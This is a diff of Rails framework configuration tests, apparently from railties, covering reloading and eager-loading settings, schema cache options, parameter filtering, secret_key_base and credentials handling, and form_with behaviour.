       assert_equal Rails.application.routes_reloader, AppTemplate::Application.routes_reloader
+      assert_kind_of ActiveSupport::MessageVerifiers, Rails.application.message_verifiers
+      assert_kind_of ActiveSupport::Deprecation::Deprecators, Rails.application.deprecators
     end
 
     test "Rails::Application responds to paths" do
       app "development"
-      assert_respond_to AppTemplate::Application, :paths
       assert_equal ["#{app_path}/app/views"], AppTemplate::Application.paths["app/views"].expanded
     end
 
@@ -240,15 +349,188 @@ def change
       assert_instance_of Pathname, Rails.public_path
     end
 
-    test "initialize an eager loaded, cache classes app" do
+    test "config.enable_reloading is !config.cache_classes" do
+      app "development"
+
+      config = Rails.application.config
+
+      assert_equal !config.cache_classes, config.enable_reloading
+
+      [true, false].each do |enabled|
+        config.enable_reloading = enabled
+        assert_equal enabled, config.enable_reloading
+        assert_equal enabled, config.reloading_enabled?
+        assert_equal enabled, !config.cache_classes
+      end
+
+      [true, false].each do |enabled|
+        config.cache_classes = enabled
+        assert_equal enabled, !config.enable_reloading
+        assert_equal enabled, !config.reloading_enabled?
+        assert_equal enabled, config.cache_classes
+      end
+    end
+
+    test "does not eager load controllers state actions in development" do
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+        class PostsController < ActionController::Base
+          def index;end
+          def show;end
+        end
+      RUBY
+
+      app "development"
+
+      assert_nil PostsController.instance_variable_get(:@action_methods)
+      assert_nil PostsController.instance_variable_get(:@view_context_class)
+    end
+
+    test "eager loads controllers state in production" do
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+        class PostsController < ActionController::Base
+          def index;end
+          def show;end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.enable_reloading = false
+        config.eager_load = true
+      RUBY
+
+      app "production"
+
+      assert_equal %w(index show).to_set, PostsController.instance_variable_get(:@action_methods)
+      assert_not_nil PostsController.instance_variable_get(:@view_context_class)
+    end
+
+    test "does not eager load mailer actions in development" do
+      app_file "app/mailers/posts_mailer.rb", <<-RUBY
+        class PostsMailer < ActionMailer::Base
+          def noop_email;end
+        end
+      RUBY
+
+      app "development"
+
+      assert_nil PostsMailer.instance_variable_get(:@action_methods)
+    end
+
+    test "eager loads mailer actions in production" do
+      app_file "app/mailers/posts_mailer.rb", <<-RUBY
+        class PostsMailer < ActionMailer::Base
+          def noop_email;end
+        end
+      RUBY
+
       add_to_config <<-RUBY
+        config.enable_reloading = false
         config.eager_load = true
-        config.cache_classes = true
+      RUBY
+
+      app "production"
+
+      assert_equal %w(noop_email).to_set, PostsMailer.instance_variable_get(:@action_methods)
+    end
+
+    test "does not eager load attribute methods in development" do
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      app_file "config/initializers/active_record.rb", <<-RUBY
+        ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+        ActiveRecord::Migration.verbose = false
+        ActiveRecord::Schema.define(version: 1) do
+          create_table :posts do |t|
+            t.string :title
+          end
+        end
       RUBY
 
       app "development"
 
-      assert_equal :require, ActiveSupport::Dependencies.mechanism
+      assert_not_includes Post.instance_methods, :title
+    end
+
+    test "does not eager load attribute methods in production when the schema cache is empty and check_schema_cache_dump_version=false" do
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.enable_reloading = false
+        config.eager_load = true
+        config.active_record.check_schema_cache_dump_version = false
+      RUBY
+
+      app "production"
+
+      assert_not_includes (Post.instance_methods - ActiveRecord::Base.instance_methods), :title
+    end
+
+    test "eager loads attribute methods in production when the schema cache is populated and check_schema_cache_dump_version=false" do
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      app_file "config/initializers/active_record.rb", <<-RUBY
+        ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+        ActiveRecord::Migration.verbose = false
+        ActiveRecord::Schema.define(version: 1) do
+          create_table :posts do |t|
+            t.string :title
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.enable_reloading = false
+        config.eager_load = true
+        config.active_record.check_schema_cache_dump_version = false
+      RUBY
+
+      app_file "config/initializers/schema_cache.rb", <<-RUBY
+      ActiveRecord::Base.schema_cache.add("posts")
+      RUBY
+
+      app "production"
+
+      assert_includes (Post.instance_methods - ActiveRecord::Base.instance_methods), :title
+    end
+
+    test "does not eager loads attribute methods in production when the schema cache is populated and check_schema_cache_dump_version=true" do
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      app_file "config/initializers/active_record.rb", <<-RUBY
+        ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+        ActiveRecord::Migration.verbose = false
+        ActiveRecord::Schema.define(version: 1) do
+          create_table :posts do |t|
+            t.string :title
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.enable_reloading = false
+        config.eager_load = true
+        config.active_record.check_schema_cache_dump_version = true
+      RUBY
+
+      app_file "config/initializers/schema_cache.rb", <<-RUBY
+      ActiveRecord::Base.schema_cache.add("posts")
+      RUBY
+
+      app "production"
+
+      assert_not_includes (Post.instance_methods - ActiveRecord::Base.instance_methods), :title
     end
 
     test "application is always added to eager_load namespaces" do
@@ -257,12 +539,13 @@ def change
     end
 
     test "the application can be eager loaded even when there are no frameworks" do
+      FileUtils.rm_rf("#{app_path}/app/jobs/application_job.rb")
       FileUtils.rm_rf("#{app_path}/app/models/application_record.rb")
       FileUtils.rm_rf("#{app_path}/app/mailers/application_mailer.rb")
       FileUtils.rm_rf("#{app_path}/config/environments")
       add_to_config <<-RUBY
+        config.enable_reloading = false
         config.eager_load = true
-        config.cache_classes = true
       RUBY
 
       use_frameworks []
@@ -272,10 +555,51 @@ def change
       end
     end
 
+    test "propagates check_schema_cache_dump_version=true to ActiveRecord::ConnectionAdapters::SchemaReflection" do
+      add_to_config <<-RUBY
+        config.active_record.check_schema_cache_dump_version = true
+      RUBY
+
+      app "development"
+
+      assert ActiveRecord::ConnectionAdapters::SchemaReflection.check_schema_cache_dump_version
+    end
+
+    test "propagates check_schema_cache_dump_version=false to ActiveRecord::ConnectionAdapters::SchemaReflection" do
+      add_to_config <<-RUBY
+        config.active_record.check_schema_cache_dump_version = false
+      RUBY
+
+      app "development"
+
+      assert_not ActiveRecord::ConnectionAdapters::SchemaReflection.check_schema_cache_dump_version
+    end
+
+    test "propagates use_schema_cache_dump=true to ActiveRecord::ConnectionAdapters::SchemaReflection" do
+      add_to_config <<-RUBY
+        config.active_record.use_schema_cache_dump = true
+      RUBY
+
+      app "development"
+
+      assert ActiveRecord::ConnectionAdapters::SchemaReflection.use_schema_cache_dump
+    end
+
+    test "propagates use_schema_cache_dump=false to ActiveRecord::ConnectionAdapters::SchemaReflection" do
+      add_to_config <<-RUBY
+        config.active_record.use_schema_cache_dump = false
+      RUBY
+
+      app "development"
+
+      assert_not ActiveRecord::ConnectionAdapters::SchemaReflection.use_schema_cache_dump
+    end
+
+
     test "filter_parameters should be able to set via config.filter_parameters" do
       add_to_config <<-RUBY
         config.filter_parameters += [ :foo, 'bar', lambda { |key, value|
-          value = value.reverse if key =~ /baz/
+          value.reverse! if /baz/.match?(key)
         }]
       RUBY
 
@@ -285,6 +609,7 @@ def change
     end
 
     test "filter_parameters should be able to set via config.filter_parameters in an initializer" do
+      remove_from_config '.*config\.load_defaults.*\n'
       app_file "config/initializers/filter_parameters_logging.rb", <<-RUBY
         Rails.application.config.filter_parameters += [ :password, :foo, 'bar' ]
       RUBY
@@ -294,6 +619,61 @@ def change
       assert_equal [:password, :foo, "bar"], Rails.application.env_config["action_dispatch.parameter_filter"]
     end
 
+    test "filter_parameters is precompiled when config.precompile_filter_parameters is true" do
+      filters = [/foo/, :bar, "baz.qux"]
+
+      add_to_config <<~RUBY
+        config.filter_parameters += #{filters.inspect}
+        config.precompile_filter_parameters = true
+      RUBY
+
+      app "development"
+
+      assert_equal ActiveSupport::ParameterFilter.precompile_filters(filters), Rails.application.env_config["action_dispatch.parameter_filter"]
+    end
+
+    test "filter_parameters is not precompiled when config.precompile_filter_parameters is false" do
+      filters = [/foo/, :bar, "baz.qux"]
+
+      add_to_config <<~RUBY
+        config.filter_parameters += #{filters.inspect}
+        config.precompile_filter_parameters = false
+      RUBY
+
+      app "development"
+
+      assert_equal filters, Rails.application.env_config["action_dispatch.parameter_filter"]
+    end
+
+    test "filter_parameters reflects changes to config.filter_parameters after being precompiled" do
+      add_to_config <<~RUBY
+        config.filter_parameters += [/foo/, :bar]
+        config.precompile_filter_parameters = true
+      RUBY
+
+      app "development"
+
+      assert_not_empty Rails.application.env_config["action_dispatch.parameter_filter"]
+
+      Rails.application.config.filter_parameters << "baz.qux"
+
+      assert_includes Rails.application.env_config["action_dispatch.parameter_filter"], "baz.qux"
+    end
+
+    test "config.precompile_filter_parameters is true by default for new apps" do
+      app "development"
+
+      assert Rails.application.config.precompile_filter_parameters
+    end
+
+    test "config.precompile_filter_parameters is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "7.0"'
+      app "development"
+
+      assert_not Rails.application.config.precompile_filter_parameters
+    end
+
     test "config.to_prepare is forwarded to ActionDispatch" do
       $prepared = false
 
@@ -303,7 +683,7 @@ def change
         end
       RUBY
 
-      assert !$prepared
+      assert_not $prepared
 
       app "development"
 
@@ -330,6 +710,30 @@ def assert_utf8
       assert_utf8
     end
 
+    # Regression test for https://github.com/rails/rails/issues/49629.
+    test "config.paths can be mutated after accessing auto/eager load paths" do
+      app_dir "vendor/auto"
+      app_dir "vendor/once"
+      app_dir "vendor/eager"
+
+      add_to_config <<~RUBY
+        # Reading the collections is enough, no need to modify them.
+        config.autoload_paths
+        config.autoload_once_paths
+        config.eager_load_paths
+
+        config.paths.add("vendor/auto", autoload: true)
+        config.paths.add("vendor/once", autoload_once: true)
+        config.paths.add("vendor/eager", eager_load: true)
+      RUBY
+
+      app "development"
+
+      assert_includes ActiveSupport::Dependencies.autoload_paths, "#{Rails.root}/vendor/auto"
+      assert_includes ActiveSupport::Dependencies.autoload_once_paths, "#{Rails.root}/vendor/once"
+      assert_includes ActiveSupport::Dependencies._eager_load_paths, "#{Rails.root}/vendor/eager"
+    end
+
     test "config.paths.public sets Rails.public_path" do
       add_to_config <<-RUBY
         config.paths["public"] = "somewhere"
@@ -339,146 +743,252 @@ def assert_utf8
       assert_equal Pathname.new(app_path).join("somewhere"), Rails.public_path
     end
 
-    test "In production mode, config.public_file_server.enabled is off by default" do
+    test "In development mode, config.public_file_server.enabled is on by default" do
       restore_default_config
 
-      with_rails_env "production" do
-        app "production"
-        assert_not app.config.public_file_server.enabled
+      with_rails_env "development" do
+        app "development"
+        assert app.config.public_file_server.enabled
       end
     end
 
-    test "In production mode, config.public_file_server.enabled is enabled when RAILS_SERVE_STATIC_FILES is set" do
+    test "In test mode, config.public_file_server.enabled is on by default" do
       restore_default_config
 
-      with_rails_env "production" do
-        switch_env "RAILS_SERVE_STATIC_FILES", "1" do
-          app "production"
-          assert app.config.public_file_server.enabled
-        end
+      with_rails_env "test" do
+        app "test"
+        assert app.config.public_file_server.enabled
       end
     end
 
-    test "In production mode, STDOUT logging is enabled when RAILS_LOG_TO_STDOUT is set" do
+    test "In production mode, config.public_file_server.enabled is on by default" do
       restore_default_config
 
       with_rails_env "production" do
-        switch_env "RAILS_LOG_TO_STDOUT", "1" do
-          app "production"
-          assert ActiveSupport::Logger.logger_outputs_to?(app.config.logger, STDOUT)
-        end
+        app "production"
+        assert app.config.public_file_server.enabled
       end
     end
 
-    test "In production mode, config.public_file_server.enabled is disabled when RAILS_SERVE_STATIC_FILES is blank" do
+    test "In production mode, STDOUT logging is the default" do
       restore_default_config
 
       with_rails_env "production" do
-        switch_env "RAILS_SERVE_STATIC_FILES", " " do
-          app "production"
-          assert_not app.config.public_file_server.enabled
-        end
+        app "production"
+        assert ActiveSupport::Logger.logger_outputs_to?(app.config.logger, STDOUT)
       end
     end
 
-    test "Use key_generator when secret_key_base is set" do
+    test "EtagWithFlash module doesn't break when the session store is disabled" do
       make_basic_app do |application|
-        application.secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
         application.config.session_store :disabled
       end
 
       class ::OmgController < ActionController::Base
         def index
-          cookies.signed[:some_key] = "some_value"
-          render plain: cookies[:some_key]
+          stale?(weak_etag: "something")
+          render plain: "else"
         end
       end
 
       get "/"
 
-      secret = app.key_generator.generate_key("signed cookie")
-      verifier = ActiveSupport::MessageVerifier.new(secret)
-      assert_equal "some_value", verifier.verify(last_response.body)
+      assert_predicate last_response, :ok?
     end
 
-    test "application verifier can be used in the entire application" do
+    test "EtagWithFlash module doesn't break for API apps" do
       make_basic_app do |application|
-        application.secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
-        application.config.session_store :disabled
+        application.config.api_only = true
       end
 
-      message = app.message_verifier(:sensitive_value).generate("some_value")
+      class ::OmgController < ActionController::Base
+        def index
+          stale?(weak_etag: "something")
+          render plain: "else"
+        end
+      end
 
-      assert_equal "some_value", Rails.application.message_verifier(:sensitive_value).verify(message)
+      get "/"
 
-      secret = app.key_generator.generate_key("sensitive_value")
-      verifier = ActiveSupport::MessageVerifier.new(secret)
-      assert_equal "some_value", verifier.verify(message)
+      assert_predicate last_response, :ok?
     end
 
-    test "application message verifier can be used when the key_generator is ActiveSupport::LegacyKeyGenerator" do
-      app_file "config/initializers/secret_token.rb", <<-RUBY
-        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
-      RUBY
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_key_base:
-      YAML
+    test "Use key_generator when secret_key_base is set" do
+      make_basic_app do |application|
+        application.config.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
+        application.config.session_store :disabled
+      end
 
-      app "development"
+      class ::OmgController < ActionController::Base
+        def index
+          cookies.signed[:some_key] = "some_value"
+          render plain: cookies[:some_key]
+        end
+      end
+
+      get "/"
+
+      secret = app.key_generator.generate_key("signed cookie")
+      verifier = ActiveSupport::MessageVerifier.new(secret)
+      assert_equal "some_value", verifier.verify(last_response.body)
+    end
+
+    test "application verifier can be used in the entire application" do
+      make_basic_app do |application|
+        application.config.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
+        application.config.session_store :disabled
+      end
 
-      assert_equal app.env_config["action_dispatch.key_generator"], Rails.application.key_generator
-      assert_equal app.env_config["action_dispatch.key_generator"].class, ActiveSupport::LegacyKeyGenerator
       message = app.message_verifier(:sensitive_value).generate("some_value")
+
       assert_equal "some_value", Rails.application.message_verifier(:sensitive_value).verify(message)
+
+      secret = app.key_generator.generate_key("sensitive_value")
+      verifier = ActiveSupport::MessageVerifier.new(secret)
+      assert_equal "some_value", verifier.verify(message)
     end
 
-    test "warns when secrets.secret_key_base is blank and config.secret_token is set" do
+    test "application will generate secret_key_base in tmp file if blank in development" do
       app_file "config/initializers/secret_token.rb", <<-RUBY
-        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+        Rails.application.config.secret_key_base = nil
       RUBY
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_key_base:
-      YAML
+
+      # For test that works even if tmp dir does not exist.
+      Dir.chdir(app_path) { FileUtils.remove_dir("tmp") }
 
       app "development"
 
-      assert_deprecated(/You didn't set `secret_key_base`./) do
-        app.env_config
-      end
+      assert_not_nil app.secret_key_base
+      assert File.exist?(app_path("tmp/local_secret.txt"))
     end
 
-    test "raise when secrets.secret_key_base is not a type of string" do
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_key_base: 123
-      YAML
+    test "application will generate secret_key_base in tmp file if blank in test" do
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.config.secret_key_base = nil
+      RUBY
+
+      # For test that works even if tmp dir does not exist.
+      Dir.chdir(app_path) { FileUtils.remove_dir("tmp") }
+
+      app "test"
+
+      assert_not_nil app.secret_key_base
+      assert File.exist?(app_path("tmp/local_secret.txt"))
+    end
+
+    test "application will use ENV['SECRET_KEY_BASE'] if present in local env" do
+      env_var_secret = "env_var_secret"
+      ENV["SECRET_KEY_BASE"] = env_var_secret
 
       app "development"
 
-      assert_raise(ArgumentError) do
-        app.key_generator
+      assert_equal env_var_secret, app.secret_key_base
+    ensure
+      ENV.delete "SECRET_KEY_BASE"
+    end
+
+    test "application will use secret_key_base from credentials if present in local env" do
+      credentials_secret = "credentials_secret"
+      add_to_config <<-RUBY
+        Rails.application.credentials.secret_key_base = "#{credentials_secret}"
+      RUBY
+
+      app "development"
+
+      assert_equal credentials_secret, app.secret_key_base
+    end
+
+    test "application will not generate secret_key_base in tmp file if blank in production" do
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.credentials.secret_key_base = nil
+      RUBY
+
+      assert_raises ArgumentError do
+        app "production"
       end
     end
 
-    test "prefer secrets.secret_token over config.secret_token" do
+    test "raises when secret_key_base is blank" do
       app_file "config/initializers/secret_token.rb", <<-RUBY
-        Rails.application.config.secret_token = ""
+        Rails.application.credentials.secret_key_base = nil
       RUBY
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_token: 3b7cd727ee24e8444053437c36cc66c3
-      YAML
 
-      app "development"
+      error = assert_raise(ArgumentError) do
+        app "production"
+      end
+      assert_match(/Missing `secret_key_base`./, error.message)
+    end
 
-      assert_equal "3b7cd727ee24e8444053437c36cc66c3", app.secrets.secret_token
+    test "dont raise in production when dummy secret_key_base is used" do
+      ENV["SECRET_KEY_BASE_DUMMY"] = "1"
+
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.credentials.secret_key_base = nil
+      RUBY
+
+      assert_nothing_raised do
+        app "production"
+      end
+
+      assert_not_nil app.secret_key_base
+      assert File.exist?(app_path("tmp/local_secret.txt"))
+    ensure
+      ENV.delete "SECRET_KEY_BASE_DUMMY"
+    end
+
+    test "always use tmp file secret when dummy secret_key_base is used in production" do
+      secret = "tmp_file_secret"
+      ENV["SECRET_KEY_BASE_DUMMY"] = "1"
+      ENV["SECRET_KEY_BASE"] = "env_secret"
+
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.credentials.secret_key_base = "credentials_secret"
+      RUBY
+
+      app_dir("tmp")
+      File.binwrite(app_path("tmp/local_secret.txt"), secret)
+
+      app "production"
+
+      assert_equal secret, app.secret_key_base
+    ensure
+      ENV.delete "SECRET_KEY_BASE_DUMMY"
+      ENV.delete "SECRET_KEY_BASE"
+    end
+
+    test "raise when secret_key_base is not a type of string" do
+      add_to_config <<-RUBY
+        Rails.application.credentials.secret_key_base = 123
+      RUBY
+
+      assert_raise(ArgumentError) do
+        app "production"
+      end
+    end
+
+    test "don't output secret_key_base when calling inspect" do
+      secret = "b3c631c314c0bbca50c1b2843150fe33"
+      add_to_config <<-RUBY
+        Rails.application.config.secret_key_base = "#{secret}"
+      RUBY
+      app "production"
+
+      assert_no_match(/#{secret}/, Rails.application.config.inspect)
+      assert_match(/\A#<Rails::Application::Configuration:0x[0-9a-f]+>\z/, Rails.application.config.inspect)
+    end
+
+    test "Rails.application.key_generator supports specifying a secret base" do
+      app "production"
+
+      key = app.key_generator.generate_key("salt")
+      other_key = app.key_generator("other secret base").generate_key("salt")
+
+      assert_not_equal key, other_key
+      assert_equal key.length, other_key.length
     end
 
     test "application verifier can build different verifiers" do
       make_basic_app do |application|
-        application.secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
         application.config.session_store :disabled
       end
 
@@ -496,176 +1006,211 @@ def index
       assert_not_equal default_verifier.object_id, text_verifier.object_id
     end
 
-    test "secrets.secret_key_base is used when config/secrets.yml is present" do
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
-      YAML
+    test "Rails.application.message_verifiers.rotate supports :secret_key_base option" do
+      old_secret_key_base = "old secret_key_base"
 
-      app "development"
-      assert_equal "3b7cd727ee24e8444053437c36cc66c3", app.secrets.secret_key_base
+      add_to_config <<~RUBY
+        config.before_initialize do |app|
+          app.message_verifiers.rotate(secret_key_base: #{old_secret_key_base.inspect})
+        end
+      RUBY
+
+      app "production"
+
+      old_secret = app.key_generator(old_secret_key_base).generate_key("salt")
+      old_message = ActiveSupport::MessageVerifier.new(old_secret).generate("old message")
+
+      assert_equal "old message", app.message_verifiers["salt"].verify(old_message)
     end
 
-    test "secret_key_base is copied from config to secrets when not set" do
-      remove_file "config/secrets.yml"
+
+    test "app.secret_key_base uses config.secret_key_base in development" do
       app_file "config/initializers/secret_token.rb", <<-RUBY
         Rails.application.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c3"
       RUBY
 
       app "development"
-      assert_equal "3b7cd727ee24e8444053437c36cc66c3", app.secrets.secret_key_base
+      assert_equal "3b7cd727ee24e8444053437c36cc66c3", app.secret_key_base
     end
 
-    test "config.secret_token over-writes a blank secrets.secret_token" do
+    test "app.secret_key_base uses config.secret_key_base in production" do
+      remove_file "config/credentials.yml.enc"
       app_file "config/initializers/secret_token.rb", <<-RUBY
-        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+        Rails.application.config.secret_key_base = "iaminallyoursecretkeybase"
       RUBY
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_key_base:
-          secret_token:
-      YAML
 
-      app "development"
+      app "production"
 
-      assert_equal "b3c631c314c0bbca50c1b2843150fe33", app.secrets.secret_token
-      assert_equal "b3c631c314c0bbca50c1b2843150fe33", app.config.secret_token
+      assert_equal "iaminallyoursecretkeybase", app.secret_key_base
     end
 
-    test "custom secrets saved in config/secrets.yml are loaded in app secrets" do
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
-          aws_access_key_id: myamazonaccesskeyid
-          aws_secret_access_key: myamazonsecretaccesskey
-      YAML
-
-      app "development"
-
-      assert_equal "myamazonaccesskeyid", app.secrets.aws_access_key_id
-      assert_equal "myamazonsecretaccesskey", app.secrets.aws_secret_access_key
-    end
+    test "require_master_key aborts app boot when missing key" do
+      skip "can't run without fork" unless Process.respond_to?(:fork)
 
-    test "shared secrets saved in config/secrets.yml are loaded in app secrets" do
-      app_file "config/secrets.yml", <<-YAML
-        shared:
-          api_key: 3b7cd727
-      YAML
+      remove_file "config/master.key"
+      add_to_config "config.require_master_key = true"
 
-      app "development"
+      error = capture(:stderr) do
+        Process.wait(Process.fork { app "development" })
+      end
 
-      assert_equal "3b7cd727", app.secrets.api_key
+      assert_equal 1, $?.exitstatus
+      assert_match(/Missing.*RAILS_MASTER_KEY/, error)
     end
 
-    test "shared secrets will yield to environment specific secrets" do
-      app_file "config/secrets.yml", <<-YAML
-        shared:
-          api_key: 3b7cd727
-
-        development:
-          api_key: abc12345
-      YAML
-
+    test "credentials does not raise error when require_master_key is false and master key does not exist" do
+      remove_file "config/master.key"
+      add_to_config "config.require_master_key = false"
       app "development"
 
-      assert_equal "abc12345", app.secrets.api_key
+      assert_not app.credentials.secret_key_base
     end
 
-    test "blank config/secrets.yml does not crash the loading process" do
-      app_file "config/secrets.yml", <<-YAML
-      YAML
+    test "protect from forgery is the default in a new app" do
+      make_basic_app
 
-      app "development"
+      class ::OmgController < ActionController::Base
+        def index
+          render inline: "<%= csrf_meta_tags %>"
+        end
+      end
 
-      assert_nil app.secrets.not_defined
+      get "/"
+      assert_match(/csrf-param/, last_response.body)
     end
 
-    test "config.secret_key_base over-writes a blank secrets.secret_key_base" do
-      app_file "config/initializers/secret_token.rb", <<-RUBY
-        Rails.application.config.secret_key_base = "iaminallyoursecretkeybase"
+    test "default form builder specified as a string" do
+      app_file "config/initializers/form_builder.rb", <<-RUBY
+      class CustomFormBuilder < ActionView::Helpers::FormBuilder
+        def text_field(attribute, *args)
+          label(attribute) + super(attribute, *args)
+        end
+      end
+      Rails.configuration.action_view.default_form_builder = "CustomFormBuilder"
       RUBY
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_key_base:
-      YAML
 
-      app "development"
+      app_file "app/models/post.rb", <<-RUBY
+      class Post
+        include ActiveModel::Model
+        attr_accessor :name
+      end
+      RUBY
 
-      assert_equal "iaminallyoursecretkeybase", app.secrets.secret_key_base
-    end
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ApplicationController
+        def index
+          render inline: "<%= begin; form_for(Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
+        end
+      end
+      RUBY
 
-    test "uses ActiveSupport::LegacyKeyGenerator as app.key_generator when secrets.secret_key_base is blank" do
-      app_file "config/initializers/secret_token.rb", <<-RUBY
-        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
       RUBY
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_key_base:
-      YAML
 
       app "development"
 
-      assert_equal "b3c631c314c0bbca50c1b2843150fe33", app.config.secret_token
-      assert_nil app.secrets.secret_key_base
-      assert_equal app.key_generator.class, ActiveSupport::LegacyKeyGenerator
+      get "/posts"
+      assert_match(/label/, last_response.body)
     end
 
-    test "uses ActiveSupport::LegacyKeyGenerator with config.secret_token as app.key_generator when secrets.secret_key_base is blank" do
-      app_file "config/initializers/secret_token.rb", <<-RUBY
-        Rails.application.config.secret_token = ""
+    test "form_with can be configured with form_with_generates_ids" do
+      app_file "config/initializers/form_builder.rb", <<-RUBY
+      Rails.configuration.action_view.form_with_generates_ids = false
       RUBY
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          secret_key_base:
-      YAML
 
-      app "development"
+      app_file "app/models/post.rb", <<-RUBY
+      class Post
+        include ActiveModel::Model
+        attr_accessor :name
+      end
+      RUBY
 
-      assert_equal "", app.config.secret_token
-      assert_nil app.secrets.secret_key_base
-      e = assert_raise ArgumentError do
-        app.key_generator
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ApplicationController
+        def index
+          render inline: "<%= begin; form_with(model: Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
+        end
       end
-      assert_match(/\AA secret is required/, e.message)
-    end
+      RUBY
 
-    test "that nested keys are symbolized the same as parents for hashes more than one level deep" do
-      app_file "config/secrets.yml", <<-YAML
-        development:
-          smtp_settings:
-            address: "smtp.example.com"
-            user_name: "postmaster@example.com"
-            password: "697361616320736c6f616e2028656c6f7265737429"
-      YAML
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
 
       app "development"
 
-      assert_equal "697361616320736c6f616e2028656c6f7265737429", app.secrets.smtp_settings[:password]
+      get "/posts"
+
+      assert_no_match(/id=('|")post_name('|")/, last_response.body)
     end
 
-    test "protect from forgery is the default in a new app" do
-      make_basic_app
+    test "form_with outputs ids by default" do
+      app_file "app/models/post.rb", <<-RUBY
+      class Post
+        include ActiveModel::Model
+        attr_accessor :name
+      end
+      RUBY
 
-      class ::OmgController < ActionController::Base
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ApplicationController
         def index
-          render inline: "<%= csrf_meta_tags %>"
+          render inline: "<%= begin; form_with(model: Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
         end
       end
+      RUBY
 
-      get "/"
-      assert last_response.body =~ /csrf\-param/
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      app "development"
+
+      get "/posts"
+
+      assert_match(/id=('|")post_name('|")/, last_response.body)
     end
 
-    test "default form builder specified as a string" do
+    test "form_with can be configured with form_with_generates_remote_forms" do
       app_file "config/initializers/form_builder.rb", <<-RUBY
-      class CustomFormBuilder < ActionView::Helpers::FormBuilder
-        def text_field(attribute, *args)
-          label(attribute) + super(attribute, *args)
+      Rails.configuration.action_view.form_with_generates_remote_forms = true
+      RUBY
+
+      app_file "app/models/post.rb", <<-RUBY
+      class Post
+        include ActiveModel::Model
+        attr_accessor :name
+      end
+      RUBY
+
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ApplicationController
+        def index
+          render inline: "<%= begin; form_with(model: Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
         end
       end
-      Rails.configuration.action_view.default_form_builder = "CustomFormBuilder"
       RUBY
 
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      app "development"
+
+      get "/posts"
+      assert_match(/data-remote/, last_response.body)
+    end
+
+    test "form_with generates non remote forms by default" do
       app_file "app/models/post.rb", <<-RUBY
       class Post
         include ActiveModel::Model
@@ -676,7 +1221,7 @@ class Post
       app_file "app/controllers/posts_controller.rb", <<-RUBY
       class PostsController < ApplicationController
         def index
-          render inline: "<%= begin; form_for(Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
+          render inline: "<%= begin; form_with(model: Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
         end
       end
       RUBY
@@ -690,7 +1235,7 @@ def index
       app "development"
 
       get "/posts"
-      assert_match(/label/, last_response.body)
+      assert_no_match(/data-remote/, last_response.body)
     end
 
     test "default method for update can be changed" do
@@ -716,7 +1261,7 @@ def update
 
         private
 
-        def form_authenticity_token(*args); token; end # stub the authenticity token
+        def form_authenticity_token(**); token; end # stub the authenticity token
       end
       RUBY
 
@@ -865,7 +1410,7 @@ def index
       assert_equal [::MyMailObserver, ::MyOtherMailObserver], ::Mail.class_variable_get(:@@delivery_notification_observers)
     end
 
-    test "allows setting the queue name for the ActionMailer::DeliveryJob" do
+    test "allows setting the queue name for the ActionMailer::MailDeliveryJob" do
